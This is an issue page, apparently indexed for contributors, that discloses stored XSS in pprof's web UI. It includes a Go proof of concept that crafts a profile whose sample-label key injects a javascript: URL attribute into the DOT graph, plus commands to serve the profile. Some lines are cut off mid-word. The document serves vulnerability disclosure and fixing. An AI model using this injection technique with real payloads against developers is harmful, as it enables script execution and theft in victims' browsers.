Stored XSS in pprof -http: a malicious profile's sample label/filename is put into the DOT graph without escapeForDot(), injecting URL="javascript:..." that Graphviz renders as a clickable SVG link.
- Dominant language
- Go
- Stars
- 9.3k
- Forks
- 671
- Avg merge
- 1d 11h
- Merged PRs (30d)
- 10
Description
## Summary
`pprof -http` serves a web UI that renders an **untrusted profile** (developers routinely open profiles
downloaded from CI, production `/debug/pprof`, bug reports, or colleagues). The graph view builds a Graphviz
DOT document from profile-derived strings, runs `dot -Tsvg`, and embeds the SVG **raw** (`template.HTML`). Two
string fields - a sample **label** and a function **filename** are interpolated into DOT **without** the
`escapeForDot()` output-encoding that the sibling label/tooltip/edge paths use. A `"` in the attacker's value
closes the DOT `label="…"` string early, letting the attacker inject a real DOT attribute
`URL="javascript:…"`. Graphviz turns that into an SVG ``, which renders in the
pprof web origin. Result: **stored XSS** - a developer who opens a malicious profile and clicks the graph node
runs attacker JavaScript in the pprof UI origin.
## Affected component
- Project: google/pprof - https://github.com/google/pprof
- File / functions:
- `internal/graph/dotgraph.go:250` `addNodelets` (and `:277` `numericNodelets`) - **F1**, sample-label tag name
- `internal/graph/dotgraph.go:393` `multilinePrintableName` (File component) - **F2**, `Function.Filename`
- Rendered raw at `internal/driver/webui.go:342` `HTMLBody: template.HTML(string(svg))`
- Verified on: current `main`, commit `4d45320` (built from source).
- Type / severity: Stored XSS (CWE-79) via improper output encoding (CWE-116); High.
## Root cause
The graph is emitted as Graphviz DOT by string-formatting profile text into `attr = "value"` statements.
`addNodelets` does:
nodelets += fmt.Sprintf(`N%d_%d [label = "%s" id="%s" fontsize=8 shape=box3d tooltip="%s"]`,
..., t.Name, ..., t.Name) // t.Name interpolated RAW, no escapeForDot()
`t.Name` is the attacker-controlled sample label (`key:value`, stored verbatim by `joinLabels()` /
`findOrAddTag`, `internal/graph/graph.go`). pprof's DOT encoder `escapeForDot()` escapes `"`→`\"` (and `\`,
newlines) specifically to stop a quote from terminating a DOT string, and the node/edge label/tooltip paths
call it (`dotgraph.go:129,190,308,309,386`). The two nodelet paths (and the `File` component at `:3
it** - an incomplete-escaping defect.
## Mechanism (stage by stage)
1. Attacker sets a `Sample.Label` **key** to: `t" URL="javascript:alert(document.domain)" y="`
2. Stored verbatim as the tag `Name` (no escaping).
3. Interpolated raw into DOT:
N1_0 [label = "t" URL="javascript:alert(document.domain)" y=":v" ... ]
^ this quote closes label="t" early
Graphviz then parses ` URL="javascript:alert(document.domain)"` as a **legitimate node attribute**.
4. `dot -Tsvg` copies the `URL` attribute verbatim into an SVG hyperlink:
5. pprof embeds the SVG raw via `template.HTML(string(svg))` (escaping bypassed; no `Content-Securi
on `/ui` responses; the web path does not run the CLI's `massageSVG` sanitizer).
6. The `` is in the pprof origin's DOM; activating the node (a click - norma
navigation) executes the attacker's JS in that origin.
## Proof of Concept
Step 1 - build a malicious profile with the `github.com/google/pprof/profile` package. `gen_xss.go`:
package main
import ("os"; "github.com/google/pprof/profile")
func main() {
// sample-label KEY that breaks out of the DOT label string and injects URL="javascript:..."
key := "t\" URL=\"javascript:alert(document.domain)\" y=\""
m := &profile.Mapping{ID:1, File:"/bin/app"}
fn := &profile.Function{ID:1, Name:"legit_func", Filename:"/src/app.go"}
loc := &profile.Location{ID:1, Mapping:m, Address:0x1000, Line:[]profile.Line{{Function:fn, L
st := &profile.ValueType{Type:"samples", Unit:"count"}
p := &profile.Profile{
SampleType:[]*profile.ValueType{st}, DefaultSampleType:"samples",
Mapping:[]*profile.Mapping{m}, Function:[]*profile.Function{fn}, Location:[]*profile.Locati
Sample:[]*profile.Sample{{Location:[]*profile.Location{loc}, Value:[]int64{5},
Label: map[string][]string{key: {"v"}}}},
}
f,_ := os.Create("evil_xss.pb.gz"); defer f.Close()
if err := p.Write(f); err != nil { panic(err) }
}
Step 2 - generate and serve (requires Graphviz `dot` installed):
go mod init poc && go get github.com/google/pprof/profile
go run gen_xss.go # writes evil_xss.pb.gz
go run github.com/google/pprof@latest -http=127.0.0.1:8088 evil_xss.pb.gz
Step 3 - verify (no browser needed): the injected anchor is in the default graph view:
Contributor guide
Research direction
Start in internal/graph/dotgraph.go at addNodelets, numericNodelets, and multilinePrintableName, then compare their interpolations with the sibling paths that call escapeForDot(). Inspect internal/driver/webui.go to understand the raw SVG embedding. Done means profile-derived label and filename values can no longer create injected DOT attributes or javascript SVG links; verify with focused graph output tests or the supplied proof of concept.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- go
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 74/100